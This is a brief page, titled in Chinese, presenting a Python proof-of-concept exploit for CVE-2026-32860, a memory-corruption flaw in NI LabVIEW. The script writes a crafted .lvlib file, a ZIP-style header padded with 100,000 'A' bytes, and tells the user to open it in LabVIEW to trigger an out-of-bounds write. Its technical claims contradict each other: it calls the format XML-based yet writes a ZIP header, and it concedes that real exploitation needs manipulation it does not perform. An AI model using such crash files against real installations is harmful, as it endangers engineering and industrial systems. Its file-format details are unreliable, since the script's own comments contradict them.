CVE-2026-32860 NI LabVIEW内存破坏漏洞

import os # PoC for CVE-2026-32860: NI LabVIEW Memory Corruption # This script generates a malformed .lvlib file to test the vulnerability. # Note: Actual exploitation requires precise binary manipulation of the file structure. def generate_malformed_lvlib(filename): # LabVIEW .lvlib files are often XML-based. Injecting malformed tags or oversized data # can trigger parsing errors leading to memory corruption. # Creating a file with a header and oversized payload to potentially trigger the out-of-bounds write. header = b'\x50\x4B\x03\x04' # Generic header often used or specific LVLIB magic bytes malicious_payload = b"A" * 100000 # Large buffer to trigger overflow with open(filename, 'wb') as f: f.write(header) f.write(malicious_payload) print(f"[+] Malformed file created: {filename}") print(f"[+] Please attempt to open this file in NI LabVIEW to verify the vulnerability.") if __name__ == "__main__": generate_malformed_lvlib("exploit_CVE-2026-32860.lvlib")